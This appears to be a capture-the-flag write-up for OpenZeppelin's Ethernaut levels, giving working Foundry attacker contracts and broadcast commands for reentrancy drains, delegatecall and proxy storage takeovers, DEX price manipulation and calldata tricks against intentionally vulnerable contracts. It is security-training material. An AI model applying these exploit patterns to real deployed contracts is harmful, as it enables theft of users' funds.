Capture the flag · EVM

Ethernaut

Thirty levels of Ethereum smart-contract security from OpenZeppelin — storage layout, delegatecall, proxies, oracle tricks and assembly — every one solved with Foundry scripts.

Foundryforge scriptStorage layoutdelegatecall29 levels

About this series

A journey through the Ethernaut challenges — unravelling smart-contract vulnerabilities one level at a time and emerging with a sharper feel for Ethereum security. I'd recommend the ethereum101, solidity 101 and solidity 201 modules of the Secureum bootcamp first. This repo doubles as a Foundry template for solving Ethernaut.

Clone & build
$ git clone https://github.com/ramachandrareddy352/ethernaut
$ cd ethernaut
$ forge build

00 Hello Ethernaut

Hello.sol — the target
Goal
  • Learn the basics: set up an instance and call functions. Deploy the instance, call authenticate() with the password, and follow the breadcrumb trail of info() methods.
Solution
HelloSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Hello} from "../src/Hello.sol";

contract HelloSolve is Script {
    Hello public hello = Hello(0xAd10DADdaAbb8Efbd597Bd9b20eB135968d781b1);

    function run() external {
        string memory password = hello.password();
        console.log("Password : ", password);
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        hello.authenticate(password);
        vm.stopBroadcast();
    }
}
Run
$ forge script script/HelloSolve.s.sol:HelloSolve --rpc-url $RPC_URL --broadcast

01 Fallback

Goal
  • Claim ownership of the contract and reduce its balance to 0.
Solution
  • Contribute a tiny amount via contribute() to seed a non-zero contribution.
  • Then send a tiny amount of ETH with empty data to trigger receive(), which sets you as owner.
  • Call withdraw() to drain the contract.
FallbackSolve.s.sol
contract FallbackSolve is Script {
    Fallback public fb = Fallback(payable(0xa5D558468A511D05650F923305eC7c1a268A651f));

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        fb.contribute{value: 0.0001 ether}();
        address(fb).call{value: 1 wei}("");
        fb.withdraw();
        vm.stopBroadcast();
    }
}
Run
$ forge script script/FallbackSolve.s.sol:FallbackSolve --rpc-url $RPC_URL --broadcast

02 Fallout

Goal
  • Claim ownership of the contract.
Solution
  • In Solidity ≤ 0.6.0 a function named like the contract was the constructor. Here the "constructor" is misspelled Fal1out() (with a 1), making it a plain public function.
  • Anyone can call Fal1out() and become owner.
FalloutSolve.s.sol
contract FalloutSolve is Script {
    Fallout public fallout = Fallout(0x99a054250f3DE6fEa6320e979860C98ce3E93AB9);

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        fallout.Fal1out();
        fallout.collectAllocations();
        vm.stopBroadcast();
    }
}
Run
$ forge script script/FalloutSolve.s.sol:FalloutSolve --rpc-url $RPC_URL --broadcast

03 Coinflip

Goal
  • Guess the coin flip correctly 10 times in a row.
Solution
  • The "random" flip is derived deterministically from blockhash(block.number - 1) — fully predictable on-chain.
  • Compute the same result in an attacker contract and feed the correct guess in the same block. (For real randomness you'd use Chainlink VRF.)
CoinflipSolve.s.sol
contract Attack {
    CoinFlip public coinflip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(CoinFlip _coinflip) { coinflip = _coinflip; }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        require(coinflip.flip(side), "Attack : Wrong answer");
    }
}
Run
$ forge script script/CoinflipSolve.s.sol:CoinflipSolve --rpc-url $RPC_URL --broadcast

04 Telephone

Goal
  • Claim ownership of the contract.
Solution
  • tx.origin is the original EOA; msg.sender is the immediate caller. Calling changeOwner() from a contract makes them differ, satisfying tx.origin != msg.sender.
TelephoneSolve.s.sol
contract Attack {
    Telephone public telephone;
    constructor(Telephone _telephone) {
        telephone = _telephone;
        telephone.changeOwner(0xd0509B83468409A75De2771C1Ae7bE1026A69927);
    }
}
Run
$ forge script script/TelephoneSolve.s.sol:TelephoneSolve --rpc-url $RPC_URL --broadcast

05 Token

Goal
  • Start with 20 tokens and end up with far more.
Solution
  • Solidity 0.6.0 has no automatic overflow/underflow checks. transfer() does balances[msg.sender] - _value with no guard.
  • Transferring 21 tokens from a balance of 20 underflows to (2**256) - 1.
TokenSolve.s.sol
contract Attack {
    constructor(address _target) {
        IToken(_target).transfer(msg.sender, 1);
    }
}

interface IToken {
    function balanceOf(address) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
}
Run
$ forge script script/TokenSolve.s.sol:TokenSolve --rpc-url $RPC_URL --broadcast

06 Delegation

Goal
  • Claim ownership of the instance.
Solution
  • Delegation's fallback() forwards calldata to Delegate via delegatecall — which runs Delegate's code in Delegation's storage context.
  • Send calldata equal to the 4-byte selector of pwn(). Delegate's owner = msg.sender writes to Delegation's slot 0, making you owner.
DelegationSolve.s.sol
contract DelegationSolve is Script {
    Delegation public delegation = Delegation(0x3f754D1a4278A32d91BF822027761E3Bdd75b119);

    function run() external {
        vm.startBroadcast();
        address(delegation).call(abi.encodeWithSignature("pwn()"));
        vm.stopBroadcast();
    }
}
Run
$ forge script script/DelegationSolve.s.sol:DelegationSolve --rpc-url $RPC_URL --broadcast

07 Force

Goal
  • Make the contract's balance greater than zero — though it has no payable functions.
Solution
  • A contract with no receive/fallback rejects normal transfers. But selfdestruct() force-sends its balance to any address.
  • Deploy an attacker funded with ETH whose constructor self-destructs to the Force contract.
ForceSolve.s.sol
contract Attack {
    receive() external payable {}
    constructor(address payable _force) payable {
        selfdestruct(_force);
    }
}
Run
$ forge script script/ForceSolve.s.sol:ForceSolve --rpc-url $RPC_URL --broadcast

08 Vault

Goal
  • Unlock the vault.
Solution
  • The password is private — but nothing on-chain is truly private. It sits in storage slot 1.
  • Read it with the vm.load cheatcode and pass it to unlock().
VaultSolve.s.sol
function run() external {
    vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
    bytes32 password = vm.load(address(vault), bytes32(uint256(1)));
    console.logBytes32(password);
    vault.unlock(password);
    vm.stopBroadcast();
}
Run
$ forge script script/VaultSolve.s.sol:VaultSolve --rpc-url $RPC_URL --broadcast

09 King

Goal
  • Break the king game so no one can reclaim the throne.
Solution
  • To dethrone, the contract pays the old king. If the old king can't receive ETH, the payment reverts and the throne sticks.
  • Become king with a contract that has no payable receive/fallback — future transfer to it always reverts.
KingSolve.s.sol
contract Attack {
    function attack(address _king) public payable {
        _king.call{value: msg.value}("");
    }
}
Run
$ forge script script/KingSolve.s.sol:KingSolve --rpc-url $RPC_URL --broadcast

10 Reentrancy

Goal
  • Steal all the funds from the contract.
Solution
  • withdraw() sends ETH before updating state — classic reentrancy. Donate a little, withdraw, and re-enter from receive() until drained.
  • Check the pool's balance before re-entering to avoid the final revert. Always update state before transfers, or use a reentrancy guard.
ReentrancySolve.s.sol
contract Attack {
    IReentrancy private immutable target;
    constructor(address _target) { target = IReentrancy(_target); }

    function attack() external payable {
        target.donate{value: 1e17}(address(this));
        target.withdraw(1e17);
        require(address(target).balance == 0, "target balance > 0");
    }

    receive() external payable {
        uint256 amount = min(1e17, address(target).balance);
        if (amount > 0) target.withdraw(amount);
    }

    function min(uint256 x, uint256 y) private pure returns (uint256) { return x <= y ? x : y; }
}
Run
$ forge script script/ReentrancySolve.s.sol:ReentrancySolve --rpc-url $RPC_URL --broadcast

11 Elevator

Goal
  • Reach the top of the building.
Solution
  • goTo() trusts the caller's isLastFloor(). Implement it to return false on the first call and true on the second — flipping a stored bool each call.
ElevatorSolve.s.sol
contract Attack {
    IElevator private immutable target;
    bool top = true;
    constructor(address _target) { target = IElevator(_target); }

    function attack() external {
        target.goTo(1);
        require(target.top(), "not top");
    }

    function isLastFloor(uint256) external returns (bool) {
        top = !top;
        return top;
    }
}
Run
$ forge script script/ElevatorSolve.s.sol:ElevatorSolve --rpc-url $RPC_URL --broadcast

12 Privacy

Goal
  • Unlock the contract by setting locked to false.
Solution
  • Walk the storage layout: slot 0 locked; slot 1 ID; slot 2 packs the three small ints; slots 3–5 hold the data array. The key is slot 5.
  • Read slot 5, downcast to bytes16, and pass it to unlock().
PrivacySolve.s.sol
function run() external {
    vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
    bytes32 slot5 = vm.load(address(privacy), bytes32(uint256(5)));
    privacy.unlock(bytes16(slot5));
    vm.stopBroadcast();
}
Run
$ forge script script/PrivacySolve.s.sol:PrivacySolve --rpc-url $RPC_URL --broadcast

13 GatekeeperOne

Goal
  • Pass all three gates and register as entrant.
Solution
  • gateOne: call from a contract so msg.sender != tx.origin.
  • gateTwo: forward gas such that gasleft() % 8191 == 0 — brute-force a small offset.
  • gateThree: craft the key so the lower 4 bytes equal the lower 2 bytes, differ from the full 8 bytes, and match uint16(uint160(tx.origin)). Mask: 0xFFFFFFFF0000FFFF.
GatekeeperOneSolve.s.sol
contract Attack {
    function attack(address _target, uint256 gas) external {
        IGateKeeperOne target = IGateKeeperOne(_target);
        uint16 k16 = uint16(uint160(tx.origin));
        uint64 k64 = uint64(1 << 63) + uint64(k16);
        bytes8 key = bytes8(k64);
        require(gas < 8191, "gas > 8191");
        require(target.enter{gas: 8191 * 10 + gas}(key), "failed");
    }
}
Run
$ forge script script/GatekeeperOneSolve.s.sol:GatekeeperOneSolve --rpc-url $RPC_URL --broadcast

14 GatekeeperTwo

Goal
  • Pass all gates and register as entrant.
Solution
  • gateOne: call from a contract.
  • gateTwo: extcodesize(caller) must be 0 — true while running inside a constructor (code isn't deployed yet).
  • gateThree: XOR means the key is the inverse of keccak256(this): key = type(uint64).max ^ uint64(bytes8(keccak256(...))).
GatekeeperTwoSolve.s.sol
contract Hack {
    constructor(IGateKeeperTwo target) {
        uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 k = type(uint64).max ^ s;
        require(target.enter(bytes8(k)), "failed");
    }
}
Run
$ forge script script/GatekeeperTwoSolve.s.sol:GatekeeperTwoSolve --rpc-url $RPC_URL --broadcast

15 NaughtCoin

Goal
  • Move your time-locked tokens out so your balance hits 0.
Solution
  • The lockTokens modifier only guards transfer(). The ERC20 transferFrom() path is unguarded — approve a helper and transfer via it.
NaughtCoinSolve.s.sol
contract Attack {
    function exploit(NaughtCoin coin) external {
        address player = coin.player();
        uint256 bal = coin.balanceOf(player);
        coin.transferFrom(player, address(this), bal);
    }
}
Run
$ forge script script/NaughtCoinSolve.s.sol:NaughtCoinSolve --rpc-url $RPC_URL --broadcast

16 Preservation

Goal
  • Claim ownership of the instance.
Solution
  • setFirstTime() delegatecalls into the library, but the library writes to slot 0 — which in Preservation is timeZone1Library, not storedTime.
  • Point slot 0 at an attacker library with matching layout; its setTime writes the owner. First call sets the library to the attacker; second call overwrites owner with the player.
PreservationSolve.s.sol
contract Attack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function attack(Preservation target) external {
        target.setFirstTime(uint256(uint160(address(this))));
        target.setFirstTime(uint256(uint160(msg.sender)));
        require(target.owner() == msg.sender, "hack failed");
    }

    function setTime(uint256 _owner) public { owner = address(uint160(_owner)); }
}
Run
$ forge script script/PreservationSolve.s.sol:PreservationSolve --rpc-url $RPC_URL --broadcast

17 Recovery

Goal
  • Recover 0.001 ETH from a "lost" SimpleToken contract address.
Solution
  • Contract addresses are deterministic: keccak256(rlp(sender, nonce))[12:]. With nonce 1 you can recompute the lost address.
  • Call its destroy() via selfdestruct() to recover the ETH.
RecoverySolve.s.sol
contract Attack {
    function recover(address payable sender) external returns (address) {
        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)));
        address addr = address(uint160(uint256(hash)));
        addr.call(abi.encodeWithSignature("destroy(address)", sender));
        return addr;
    }
}

0xd6 and 0x94 are RLP constants; the last byte is the nonce (assumed 1).

Run
$ forge script script/RecoverySolve.s.sol:RecoverySolve --rpc-url $RPC_URL --broadcast

18 MagicNum

Goal
  • Provide a Solver that returns 42 — in at most 10 opcodes.
Solution
  • Write raw bytecode that always returns 0x2a (42), then deploy it with creation code via the create opcode and register it with setSolver().
Runtime code — return 42
602a60005260206000f3
  PUSH1 0x2a / PUSH1 0x00 / MSTORE   ; store 42 at 0x00
  PUSH1 0x20 / PUSH1 0x00 / RETURN   ; return 32 bytes

Creation code — return the runtime code
69602a60005260206000f3600052600a6016f3
MagicNumSolve.s.sol
contract Attack {
    constructor(MagicNum target) {
        bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
        address addr;
        assembly { addr := create(0, add(bytecode, 0x20), 0x13) }
        require(addr != address(0));
        target.setSolver(addr);
    }
}
Run
$ forge script script/MagicNumSolve.s.sol:MagicNumSolve --rpc-url $RPC_URL --broadcast

19 AlienCodex

Goal
  • Claim ownership of the contract.
Solution
  • Solidity 0.5.0 — no overflow checks. Call makeContact(), then retract() on an empty array underflows its length to 2**256 - 1, giving the array access to every storage slot.
  • Dynamic array elements start at keccak256(1). Solve h + i = 0 for index i = 2**256 - keccak256(1), then revise(i, owner) writes slot 0.
slot 0 - owner (20 bytes), contact (1 byte)
slot 1 - length of codex
h = keccak256(1)  ->  codex[i] lives at slot h + i
find i : h + i = 0  ->  i = 0 - h  (mod 2**256)
AlienCodexSolve.s.sol
contract Attack {
    constructor(AlienCodex target) {
        target.make_contact();
        target.retract();
        uint256 h = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i;
        unchecked { i -= h; }
        target.revise(i, bytes32(uint256(uint160(msg.sender))));
        require(target.owner() == msg.sender, "hack failed");
    }
}
Run
$ forge script script/AlienCodexSolve.s.sol:AlienCodexSolve --rpc-url $RPC_URL --broadcast

20 Denial

Goal
  • Deny the owner from withdrawing (with funds present and ≤ 1M gas).
Solution
  • withdraw() makes an unchecked external call to the partner. Become the partner and burn all gas in an infinite loop inside receive(), forcing the whole transaction to fail.
DenialSolve.s.sol
contract Attack {
    uint256 x;
    constructor(Denial target) {
        target.setWithdrawPartner(address(this));
    }
    fallback() external payable {
        for (uint i = 0; i >= 0; i++) { x = x + i; }
    }
}
Run
$ forge script script/DenialSolve.s.sol:DenialSolve --rpc-url $RPC_URL --broadcast

21 Shop

Goal
  • Buy the item for less than the asking price.
Solution
  • Like Elevator, buy() calls your price() twice. Return 100 while !isSold and 1 after — using the contract's own isSold flag as the toggle.
ShopSolve.s.sol
contract Attack {
    Shop private immutable target;
    constructor(Shop _target) { target = _target; }

    function attack() external {
        target.buy();
        require(target.price() == 1, "price != 1");
    }

    function price() external view returns (uint256) {
        return target.isSold() ? 1 : 100;
    }
}
Run
$ forge script script/ShopSolve.s.sol:ShopSolve --rpc-url $RPC_URL --broadcast

22 Dex

Goal
  • Drain all of at least one token from the DEX via price manipulation.
Solution
  • The price formula uses on-chain balances directly, and integer division rounds down. Swapping back and forth lets the output grow each time.
  • After five alternating swaps the pool ratio is skewed enough that one final 45-token swap empties a side.
token1 | token2
 10 in | 100 | 100 | 10 out
 24 out| 110 |  90 | 20 in
 24 in |  86 | 110 | 30 out
 41 out| 110 |  80 | 30 in
 41 in |  69 | 110 | 65 out
        | 110 |  45 | 45 in  -> drains token2
DexSolve.s.sol
contract Attack {
    Dex private immutable dex;
    IERC20 private immutable token1;
    IERC20 private immutable token2;

    constructor(Dex _dex) {
        dex = _dex;
        token1 = IERC20(dex.token1());
        token2 = IERC20(dex.token2());
    }

    function attack() external {
        token1.transferFrom(msg.sender, address(this), 10);
        token2.transferFrom(msg.sender, address(this), 10);
        token1.approve(address(dex), type(uint256).max);
        token2.approve(address(dex), type(uint256).max);

        _swap(token1, token2);
        _swap(token2, token1);
        _swap(token1, token2);
        _swap(token2, token1);
        _swap(token1, token2);
        dex.swap(address(token2), address(token1), 45);

        require(token1.balanceOf(address(dex)) == 0, "dex token1 balance != 0");
    }

    function _swap(IERC20 tokenIn, IERC20 tokenOut) private {
        dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
    }
}
Run
$ forge script script/DexSolve.s.sol:DexSolve --rpc-url $RPC_URL --broadcast

23 DexTwo

Goal
  • Drain both token1 and token2 from DexTwo.
Solution
  • swap() no longer checks that from/to are the whitelisted tokens. Deploy your own token, seed the DEX with 1 unit, and swap it for 100 of the real token.
  • Repeat with a second fake token to drain the other side.
DexTwoSolve.s.sol
contract Attack {
    DexTwo public dex;
    IERC20 public token1;
    IERC20 public token2;
    MyToken public myToken1;
    MyToken public myToken2;

    constructor(DexTwo _dex) {
        dex = _dex;
        token1 = IERC20(dex.token1());
        token2 = IERC20(dex.token2());
        myToken1 = new MyToken();
        myToken2 = new MyToken();
    }

    function attack() external {
        myToken1.transfer(address(dex), 1);
        myToken2.transfer(address(dex), 1);
        myToken1.approve(address(dex), 1);
        myToken2.approve(address(dex), 1);

        dex.swap(address(myToken1), address(token1), 1);
        dex.swap(address(myToken2), address(token2), 1);

        require(token1.balanceOf(address(dex)) == 0);
        require(token2.balanceOf(address(dex)) == 0);
    }
}

contract MyToken is ERC20 {
    constructor() ERC20("My-Token", "MTK") { _mint(msg.sender, 10000); }
}
Run
$ forge script script/DexTwoSolve.s.sol:DexTwoSolve --rpc-url $RPC_URL --broadcast

24 PuzzleWallet

Goal
  • Become the admin of the proxy.
Solution
  • PuzzleProxy and PuzzleWallet have mismatched storage layouts: pendingAdmin/admin overlap with owner/maxBalance.
  • Call proposeNewAdmin() to set yourself as owner, then addToWhitelist(). Use nested multicall to call deposit() twice while only sending value once, then execute() to drain the balance to 0.
  • With balance 0, setMaxBalance(uint256(player)) overwrites admin — you're admin.
PuzzleWalletSolve.s.sol
contract Attack {
    constructor(PuzzleWallet wallet) payable {
        wallet.proposeNewAdmin(address(this));
        wallet.addToWhitelist(address(this));

        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSelector(wallet.deposit.selector);

        bytes[] memory data = new bytes[](2);
        data[0] = deposit_data[0];
        data[1] = abi.encodeWithSelector(wallet.multicall.selector, deposit_data);
        wallet.multicall{value: 0.001 ether}(data);

        wallet.execute(msg.sender, 0.002 ether, "");
        wallet.setMaxBalance(uint256(uint160(msg.sender)));

        require(wallet.admin() == msg.sender, "Attack failed");
        selfdestruct(payable(msg.sender));
    }
}
Run
$ forge script script/PuzzleWalletSolve.s.sol:PuzzleWalletSolve --rpc-url $RPC_URL --broadcast

25 Motorbike

Goal
  • Selfdestruct the Engine and brick the motorbike.
Solution
  • The Engine implementation was never initialized through the proxy. Call initialize() directly to become upgrader.
  • Then upgradeToAndCall() to a malicious implementation whose kill() self-destructs — executed via delegatecall against Engine's storage.
MotorbikeSolve.s.sol
contract Attack {
    function attack(Engine target) external {
        target.initialize();
        target.upgradeToAndCall(address(this), abi.encodeWithSelector(this.kill.selector));
    }
    function kill() external { selfdestruct(payable(address(this))); }
}
Run
$ forge script script/MotorbikeSolve.s.sol:MotorbikeSolve --rpc-url $RPC_URL --broadcast

26 DoubleEntryPoint

Goal
  • Implement and register a Forta detection bot that prevents the CryptoVault from being drained.
Solution
  • The DET token delegates from LegacyToken, so sweepToken(LGT) indirectly moves the underlying DET via delegateTransfer() — that function carries the fortaNotify modifier.
  • The bot reads origSender from calldata at offset 0xA8 via calldataload; if it's the CryptoVault, raise an alert to revert the sweep.
position  bytes  type     value
 0x00      4    bytes4   handleTransaction selector (0x220ab6aa)
 0x04     32    address  user
 0x24     32    uint256  msgData offset (0x40)
 0x44     32    uint256  msgData length (0x64)
 0x64      4    bytes4   delegateTransfer selector (0x9cd1a121)
 0x68     32    address  to
 0x88     32    uint256  value
 0xA8     32    address  origSender   <- the one we want
DetectionBot
contract DetectionBot {
    DoubleEntryPoint public det = DoubleEntryPoint(0x91a71dbbEDC98B0B70e34A3CCf3D472DC8448DE3);
    address public cryptovault = det.cryptoVault();

    function handleTransaction(address user, bytes calldata) external {
        address origSender;
        assembly { origSender := calldataload(0xa8) }
        if (origSender == cryptovault) {
            Forta(msg.sender).raiseAlert(user);
        }
    }
}
Run
$ forge script script/DoubleEntryPointSolve.s.sol:DoubleEntryPointSolve --rpc-url $RPC_URL --broadcast

27 GoodSamaritan

Goal
  • Drain the entire wallet balance (1,000,000 coins).
Solution
  • requestDonation() catches NotEnoughBalance() and then sends the entire remaining balance. The coin's transfer() calls notify() on contract recipients.
  • In your notify(), revert with NotEnoughBalance() only when the amount is 10 — this triggers the "send the rest" path without reverting the bulk transfer.
GoodSamaritanSolve.s.sol
contract Attack {
    GoodSamaritan private immutable target;
    Coin private immutable coin;
    error NotEnoughBalance();

    constructor(GoodSamaritan _target) {
        target = _target;
        coin = Coin(_target.coin());
    }

    function attack() external {
        target.requestDonation();
        require(coin.balances(address(this)) == 10 ** 6, "hack failed");
    }

    function notify(uint256 amount) external {
        if (amount == 10) revert NotEnoughBalance();
    }
}
Run
$ forge script script/GoodSamaritanSolve.s.sol:GoodSamaritanSolve --rpc-url $RPC_URL --broadcast

28 GatekeeperThree

Goal
  • Pass three gates and become entrant.
Solution
  • gateOne: call construct0r() (not a real constructor) to become owner, and call from a contract so tx.origin != owner.
  • gateTwo: deploy SimpleTrick via createTrick(), then call getAllowance(block.timestamp) — the password is the same-tx timestamp.
  • gateThree: the contract must hold > 0.001 ETH and its send to owner must fail. Make your attacker contract reject ETH (no receive/fallback) so the send returns false.
GatekeeperThreeSolve.s.sol
contract Attack {
    constructor() payable {}

    function exploit(GatekeeperThree gate) public {
        gate.construct0r();
        gate.createTrick();
        gate.getAllowance(block.timestamp);
        (bool success, ) = payable(address(gate)).call{value: address(this).balance}("");
        require(success, "Tx Failed");
        gate.enter();
    }
}
Run
$ forge script script/GatekeeperThreeSolve.s.sol:GatekeeperThreeSolve --rpc-url $RPC_URL --broadcast

29 Switch

Goal
  • Flip the switch on.
Solution
  • The onlyOff modifier copies 4 bytes from calldata offset 68 and requires the turnSwitchOff() selector there. But the _data offset is attacker-chosen.
  • Put the decoy 0x20606e15 at offset 64 to pass the check, then point the real bytes at a later offset holding the turnSwitchOn() selector.
       0x30c13ade                                                        flipSwitch() selector
0x00 : 0000000000000000000000000000000000000000000000000000000000000060  offset of real data (0x60)
0x20 : 0000000000000000000000000000000000000000000000000000000000000000
0x40 : 0000000000000000000000000000000000000000000000000000000000000004  decoy length
0x60 : 20606e1500000000000000000000000000000000000000000000000000000000  turnSwitchOff() (checked @64)
0x80 : 0000000000000000000000000000000000000000000000000000000000000004  real length
0xa0 : 76227e1200000000000000000000000000000000000000000000000000000000  turnSwitchOn() (executed)
SwitchSolve.s.sol
function run() external {
    vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
    bytes memory data = hex"30c13ade00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000420606e15000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
    address(_switch).call(data);
    vm.stopBroadcast();
}
Run
$ forge script script/SwitchSolve.s.sol:SwitchSolve --rpc-url $RPC_URL --broadcast

References